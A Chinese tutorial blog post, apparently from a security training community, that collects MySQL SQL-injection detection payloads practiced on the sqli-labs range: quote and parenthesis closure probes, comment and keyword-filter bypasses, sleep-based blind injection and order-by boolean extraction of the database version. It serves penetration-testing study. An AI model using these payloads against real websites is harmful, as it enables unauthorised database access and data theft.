网络黑客渗透测试技术之SQL注入检测语句结晶「干货分享」

文章来自赛克艾威安全社区 id:ff1209125020,感谢ff1209125020学员的用心总结,主要针对目前主流的mysql数据库SQL注入检测语句及原理进行总结,攻击靶场环境使用sqli,特点:语言精炼,思路清晰,希望大家有所收获,如有疑问欢迎留言

一、判断变量处理和单引号括号有没有关系:

1、加 " ' ": http://x.x.x.x/sqli/less-1/?id=1' ,返回正常就判断是否和双引号有关系输出异常:最后在加上 “--+” :http://x.x.x.x/sqli/less-1/?id=1' --+,输出正常,参数处理为 id='$id',还输出异常则可能“-”被过滤,尝试 id=1' and '1'='1 和 id=1' and '1'='2

2、尝试:id=1')输出异常:最后在加上 “--+”:http://x.x.x.x/sqli/less-1/?id=1') --+,输出正常,参数处理为 id=('$id'),还输出异常则可能“-”被过滤,尝试 id=1') and ('1')=('1 和 id=1') and ('1')=('2

3、尝试:id=1'))输出异常:最后在加上 “--+”:http://x.x.x.x/sqli/less-1/?id=1')) --+,输出正常,参数处理为 id=(('$id')),还输出异常则可能“-”被过滤,尝试 id=1')) and (('1')=(('1 和 id=1')) and (('1'))=(('2

二、判断变量处理和双引号有没有关系,和以上步骤一样。

“-”过滤,不用注释符号,使用and闭合

“and”“or”过滤,使用大小写混写(ANd),或者在and单词之间再写一个and(anandd)。还有使用“&&”和“||”分别代替“and”和“or”

三、尝试:id=1-1 或者 1%2b1 //%2b 是加号的URL编码,因为加号在URL中有特殊意义,表示空格,所以这里需要用这种转码方式来用加号

返回两个数计算过后查询的结果,可能为

整型:id=$id

id=($id)

id=(($id))

如果返回原来的页面,则是经过单引号或者双引号处理或者第一个数字后面的字符被过滤,尝试其他方法

四、判断时间盲注

比如一个URL:http://x.x.x.x/sqli/less-10/?id=1

输入什么值都显示的页面一致

id=1 and sleep(4) --+ 或者 id=1) and sleep(4) --+ //延时打开网页,变量处理为:id=$id

id=1' and sleep(4) --+ 或者 id=1" and sleep(4) --+ //延时打开网页,字符串处理为:id='$id' 或者 id="$id"

id=1') and sleep(4) --+ 或者 id=1')) and sleep(4) --+ //延时打开网页,字符串处理为:id=('$id') 或者 id=("$id"),

五、判断order by sort 注入

1、修改数字,排序发生变化,为:sort=$sort 或者sort=($sort),sort不会是字符类型的,因为order by [所有字符] ,排序都是一样的

2、 利用bool注入判断有没有order by 注入。sort=rand(0) 和 sort=rand(1) 排序是不一样的。尝试:sort=rand(()) //必须是双括号.例:sort=rand(((left((select version()),1)=5))) //里面的left()函数返回值和5作比较计算出逻辑值0或1

上面这两个排序是一样的,我的版本号第一位是5,再看看第一位等于5时怎么排序

这样就可以然后逐位猜解了。

3、利用报错注入order by

如果构造参数值能造成页面显示出错误,可以使用报错注入

就像id参数那样注入,后面跟and 然后报错函数

发表评论
留言与评论(共有 0 条评论)
   
验证码:

相关文章

推荐文章

'); })();